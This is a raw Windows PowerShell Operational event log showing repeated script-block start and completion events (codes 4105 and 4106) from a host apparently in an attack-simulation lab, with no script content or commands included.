Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031407
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031406
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031405
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031404
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031403
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031402
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031401
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031400
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031399
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031398
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031397
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031396
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031395
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031394
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031393
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031392
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031391
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031390
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031389
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031388
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031387
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031386
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031385
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031384
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031383
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031382
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031381
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031380
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031379
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031378
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031377
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031376
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031375
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031374
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031373
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031372
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031371
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031370
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031369
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031368
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031367
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031366
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031365
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031364
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031363
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031362
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031361
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031360
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031359
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031358
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031357
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031356
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031355
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031354
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
